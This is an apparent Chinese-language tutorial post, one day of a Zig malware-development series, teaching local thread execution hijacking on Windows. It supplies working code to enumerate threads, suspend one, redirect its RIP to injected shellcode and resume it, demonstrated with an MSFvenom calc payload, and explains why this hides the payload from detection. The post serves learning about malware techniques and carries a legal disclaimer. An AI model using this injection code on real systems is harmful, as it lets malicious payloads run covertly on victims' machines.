Day21 - 影子寄生術,操弄世界的魁儡:Process Injection 之 Thread Execution Hijacking(上)

走在時代前沿的前言

Ayo 大家好!在我們昨天了解完了如何使用回呼函數來執行 Shellcode 之後,今天我們將要來看看什麼是線程劫持(Thread Execution Hijacking)啦!

本文將會分為上下兩篇,上篇會主要專注在本地進程的線程劫持,作為幫助大家快速理解概念的一個小範例,下篇會進入到正式的遠端進程的線程劫持。那就廢話不多說,讓我們開始吧!

完整程式碼可於此處找到https://black-hat-zig.cx330.tw/Advanced-Malware-Techniques/Others/Callback-Code-Execution/callback_code_execution/

疊甲

中華民國刑法第 362 條:「製作專供犯本章之罪之電腦程式,而供自己或他人犯本章之罪,致生損害於公眾或他人者,處五年以下有期徒刑、拘役或科或併科六十萬元以下罰金。」

本系列文章涉及多種惡意程式的技術,旨在提升個人技術能力與資安意識。本人在此強烈呼籲讀者,切勿使用所學到的知識與技術從事任何違法行為!

Zig 版本

本系列文章中使用的 Zig 版本號為 0.14.1。

線程劫持簡介

線程劫持(Thread Execution Hijacking)是一種用來在不創建新的線程的情況下執行 Payload 的技術。其中的原理,是將線程暫停後,去更改指向記憶體中下一條指令的暫存器,把它指向 Payload 的起始位置。這樣一來,當線程恢復執行的時候,就會去執行到我們指定的 Payload。

線程劫持創建新線程的差異在哪裡呢?為什麼要劫持現有線程來執行 Payload 而不乾脆創建一個新的線程來執行它呢?主要的原因是因為 Payload 的隱蔽性的考量,為了執行 Payload 而去創建一個新的線程很容易會暴露 Payload 的基址,因為新線程的入口點必須要指向記憶體中的 Payload 的基址,這將進而暴露 Payload 的內容;但如果我們使用線程劫持,該線程的入口點將會指向一個正常的進程函數,讓該線程看起來是無害的。

線程的上下文

在我們繼續看線程劫持之前,要先來看一下線程的上下文(Thread context)。每個線程都有一個排程優先權,並維護一組由系統儲存到該線程上下文的結構。線程上下文包含了線程能夠無縫恢復執行所需的所有資訊,包含該線程的 CPU 暫存器(寄存器)們與 Stack。

我們可以透過 GetThreadContextSetThreadContext 這兩個 Windows API 來獲取及設置線程的上下文。GetThreadContext 會填入一個 CONTEXT 結構,該結構包含該線程的所有資訊,而相反的 SetThreadContext 則會接收一個已填寫的 CONTEXT 結構,並將其設定到指定的線程上。

線程的枚舉

在我們這前幾天的內容中,我們有時候會使用到 CreateToolhelp32Snapshot 這個 Windows API,目的是用來取得系統的進程快照,並且對我們的目標進程動手腳。在本篇文章中,我們將繼續使用它,但是不同的是,它將使用不同的值作為 dwFlags 的參數。

為了要枚舉系統上的運行中線程,必須指定 TH32CS_SNAPTHREAD 標誌。如此一來,CreateToolhelp32Snapshot 會回傳以下的 THREADENTRY32 結構。

typedef struct tagTHREADENTRY32 {
  DWORD dwSize;                       // sizeof(THREADENTRY32)
  DWORD cntUsage;
  DWORD th32ThreadID;                 // Thread ID
  DWORD th32OwnerProcessID;           // The PID of the process that created the thread.
  LONG  tpBasePri;
  LONG  tpDeltaPri;
  DWORD dwFlags;
} THREADENTRY32;

為了要識別出線程是否屬於某個特定的進程,我們可以用 THREADENTRY32.th32OwnerProcessID 跟目標進程的 PID 做比對來達到這個目標。如果兩者相匹配,則代表當前的線程屬於目標進程。

需要使用的 API

我們會用到以下的 API 們。

  • CreateToolhelp32Snapshots
    • 這邊會用來獲取系統上所有執行中的線程的快照
  • Thread32First
    • 從我們拍下的快照中獲取第一個線程的資訊
  • Thread32Next
    • 從我們拍下的快照中獲取下一個線程的資訊
  • OpenThread
    • 傳入 TID(Thread ID)並嘗試獲取線程的句柄
  • GetCurrentProcessId
    • 取得當前進程的 PID,在此例中,目標進程是本地進程

那我們來看一下線程枚舉的 Zig 程式碼吧!以下的 getLocalThreadHandle 函數會接收 3 個參數,分別是:

  1. main_thread_id:本地進程的主線程的 TID,這是為了避免讓我們劫持到本地進程的主線程
  2. thread_id:一個 u32 的指針,指向可劫持的線程的 TID
  3. thread_handle:一個 windows.HANDLE 的指針,指向可劫持的線程的句柄
fn getLocalThreadHandle(main_thread_id: u32, thread_id: *u32, thread_handle: *windows.HANDLE) bool {
    const process_id = GetCurrentProcessId();
    print("\t[i] Current Process ID: {}\n", .{process_id});
    print("\t[i] Main Thread ID: {}\n", .{main_thread_id});

    const snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (snapshot == windows.INVALID_HANDLE_VALUE) {
        print("\n\t[!] CreateToolhelp32Snapshot Failed With Error: {}\n", .{windows.kernel32.GetLastError()});
        return false;
    }
    defer windows.CloseHandle(snapshot);

    var thread_entry = THREADENTRY32{
        .dwSize = @sizeOf(THREADENTRY32),
        .cntUsage = 0,
        .th32ThreadID = 0,
        .th32OwnerProcessID = 0,
        .tpBasePri = 0,
        .tpDeltaPri = 0,
        .dwFlags = 0,
    };

    if (Thread32First(snapshot, &thread_entry) == 0) {
        print("\n\t[!] Thread32First Failed With Error: {}\n", .{windows.kernel32.GetLastError()});
        return false;
    }

    var thread_count: u32 = 0;
    while (true) {
        if (thread_entry.th32OwnerProcessID == process_id) {
            thread_count += 1;
            if (thread_entry.th32ThreadID != main_thread_id) {
                thread_id.* = thread_entry.th32ThreadID;
                thread_handle.* = OpenThread(THREAD_ALL_ACCESS, 0, thread_entry.th32ThreadID);

                if (thread_handle.* == windows.INVALID_HANDLE_VALUE) {
                    print("\n\t[!] OpenThread Failed With Error: {}\n", .{windows.kernel32.GetLastError()});
                } else {
                    print("\t[i] Successfully opened thread handle\n", .{});
                    return true;
                }
            }
        }

        if (Thread32Next(snapshot, &thread_entry) == 0) {
            break;
        }
    }

    print("\t[i] Total threads found in current process: {}\n", .{thread_count});
    return false;
}

這段程式碼中,一開始我們會先使用 GetCurrentProcessId 來獲取當前進程的 PID,這是為了稍後要比對枚舉的線程是否屬於當前的進程。下一步我們會使用 CreateToolhelp32Snapshot 來建立一個系統快照,裡面包含所有線程的資訊。接著初始化 THREADENTRY32 並使用 Thread32First 取出第一個線程,再用 Thread32Next 持續遍歷所有線程。在這個遍歷的過程中,若 th32OwnerProcessID 和目前進程的 ID 相同,代表該線程屬於本進程,則將會嘗試獲取他的句柄。

劫持線程

當我們拿到我們的目標線程的句柄後,我們就準備要來劫持它了!第一步是要先暫停它,讓他停止執行,這邊要把 TID 給傳入。

const suspend_result = SuspendThread(thread_handle);
if (suspend_result == 0xFFFFFFFF) {
    print("\t[!] SuspendThread Failed With Error: {}\n", .{windows.kernel32.GetLastError()});
    return false;
}

下一步,我們會需要先取得線程的上下文,才能修改它,把它指向我們的 Payload。所以我們需要使用 GetThreadContext 取得目標線程的 CONTEXT 結構。我們將會使用 SetThreadContext 來修改當前線程的上下文,更具體來說,我們要去改決定下一條指令的暫存器,也就是 64 位元系統上的 RIP 或是 32 位元系統的 EIP

GetThreadContext 的第二個參數 lpContext 寫說它是 IN & OUT 參數,這是因為根據微軟的官方文檔說明,它說這個函數會根據 CONTEXT 結構中的 ContextFlags 成員的值,選擇性的回傳對應的線程上下文資訊。所以在我們呼叫 GetThreadContext 之前,需要先為 CONTEXT.ContextFlags 設定一個值,我們會將其設定為 CONTEXT_CONTROL 以拿到控制暫存器(設置為 CONTEXT_ALL 也可以達成目的)。

thread_ctx.ContextFlags = CONTEXT_ALL;

接著,就可以用 GetThreadContext 把線程的上下文給拿出來了。拿出來後,我們要去改他的 RIP 的值(或是 EIP)讓其指向我們的 Payload 的基址(這代表我們要在線程劫持之前先把 Payload 寫入記憶體,並取得其地址)。

if (GetThreadContext(thread_handle, &thread_ctx) == 0) {
    print("\t[!] GetThreadContext Failed With Error: {}\n", .{windows.kernel32.GetLastError()});
    return false;
}

thread_ctx.Rip = @intFromPtr(address);

在我們修改完暫存器,把下一個要執行的指令指向我們的 Payload 之後,還需要去使用 SetThreadContext 把整個線程的上下文給寫回去原本的線程之中。

if (SetThreadContext(thread_handle, &thread_ctx) == 0) {
    print("\t[!] SetThreadContext Failed With Error: {}\n", .{windows.kernel32.GetLastError()});
    return false;
}

最後,為了讓我們的 Payload 可以順利被執行,我們需要使用 ResumeThread 讓線程繼續運行,這樣他就會執行到我們剛剛設置的 Payload。不過這邊值得注意的是我們依然要使用 WaitForSingleObject 讓程式等待該線程結束,以確保我們的 Payload 被執行。

執行結果

我們在這邊使用 MSFvenom 產生的 calc.exe 的 Payload 來作為示範。因為我們劫持的線程不是主線程,且他不是持續有在執行的,所以 Payload 不一定會馬上執行。下圖展示了我們成功地找到了目標的線程和進程 ID。

Found PID & TID

同時我們還可以看一下分配到的記憶體。

Allocated Memory

下一步,我們把 Payload 寫入。

Written Memory

最後我們執行它!

Execution Result

可以看到我們執行成功了!不過線程可能會在我們執行後終止,這會取決於我們的 Payload 是否會終止調用他的線程。舉例來說,這邊的 calc.exe 的 Payload 就會終止執行它的線程,所以我們可以看到剛剛的 TID 37328 的線程在小算盤彈出來後消失了。

Thread Terminated

鐵人賽期 PoPoo,你今天轉 Po 了嗎?

好啦各位!今天的文章結束囉,恭喜我們在度過了 20 天大關之後,順利的來到了下一個階段!

今天跟大家介紹了本地的線程劫持,明天會來介紹遠程進程中的線程劫持!我們再次複習一下,整個流程是要先找到目標的線程,暫停它,獲取線程上下文,更改 Instruction Pointer 暫存器,設定線程上下文,最後讓線程恢復執行!

如果對惡意程式開發或是惡意程式分析有興趣的話,這個系列會很適合你!最後也感謝大家的閱讀,歡迎順手按讚留言訂閱轉發(轉發可以讓朋友們知道你都在讀這種很技術的文章,他們會覺得你好帥好強好電,然後開始裝弱互相吹捧)~明天見!